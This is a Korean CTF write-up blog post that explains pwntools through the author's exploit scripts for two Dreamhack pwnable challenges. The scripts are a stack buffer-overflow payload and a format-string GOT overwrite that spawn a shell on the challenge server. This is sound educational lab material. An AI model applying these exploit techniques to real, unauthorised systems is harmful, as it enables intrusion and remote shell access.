20.08.28 최초 작성 |
* 목차 [dreamhack : pwnable] basic_exploitation_001 [dreamhack : pwnable] basic_exploitation_002 |
포너블 문제를 풀면서 내가 작성한 페이로드를 통해 pwntools 사용법을 정리해보도록 하겠다.
[dreamhack : pwnable] basic_exploitation_001 풀이
jiravvit.tistory.com/entry/dreamhack-pwnable-basicexploitation001-%ED%92%80%EC%9D%B4
from pwn import *
- pwntools 연결하기
p = remote([IP],[PORT])
p = remote("host1.dreamhack.games", 8488)
#p = process("./example")
- packing 관련 함수
32비트 리틀 엔디안 방식으로 패킹해줌
addr = p32(0x080485b9) # /xb9/x85/x04/0x8
addr2 = p32(ABCD) # /x68/x67/x66/x65
payload = "A"*132 + addr
- pwntools 데이터 보내기
데이터 한 줄을 보낸다. scanf(), gets() 등에 사용
p.sendline(payload)
read()에 사용
p.send(payload)
쉘과 직접적으로 명령을 전송하고 수신할 수 있음, 페이로드를 작성하면 거의 마지막에 이거 다 써준다고 생각하면 됨
p.interactive()
[dreamhack : pwnable] basic_exploitation_002 풀이
jiravvit.tistory.com/entry/dreamhack-pwnable-basicexploitation002-%ED%92%80%EC%9D%B4
from pwn import *
- pwntools 연결하기
p = remote("host1.dreamhack.games", 8491)
#p = process("./basic_exploitation_002")
- ELF 함수: ELF에 바이너리를 인식시켜 적용되어 있는 보호기법을 보여주고, PLT, GOT같은 ELF 정보 등을 가져올 수 있음
e = ELF("바이너리 경로")
e = ELF("./basic_exploitation_002")
사용자 정의 함수 및 전역 변수의 주소를 가져옴
e.symbols["함수명"]
e.symbols["전역변수명"]
get_shell = e.symbols["get_shell"]
GOT 주소를 가져옴
e.got["함수명"]
exit_got = e.got["exit"]
# FSB (포맷 스트링 버그)
# offset = 1
# exit 함수의 GOT에 /bin/sh를 호출해주는 get_shell 함수의 주소로 덮어쓰기
# 32bit일 때만 가능
payload = fmtstr_payload(1, {exit_got:get_shell})
- pwntools 데이터 보내기
데이터 한 줄을 보낸다. scanf(), gets() 등에 사용
p.sendline(payload)
read()에 사용
p.send(payload)
쉘과 직접적으로 명령을 전송하고 수신할 수 있음, 페이로드를 작성하면 거의 마지막에 이거 다 써준다고 생각하면 됨
p.interactive()
'System Hacking' 카테고리의 다른 글
함수 프롤로그(prolog) / 함수 에필로그(eplilog) (1) | 2020.09.17 |
---|---|
pwndbg를 이용한 ELF 동적 분석 방법 (0) | 2020.08.29 |
스택 프레임 (Stack Frame) (2) | 2020.07.02 |
메모리 구조 (Memory Architecture) (0) | 2020.07.02 |
파일 디스크립터 (File Descriptor) (0) | 2020.06.11 |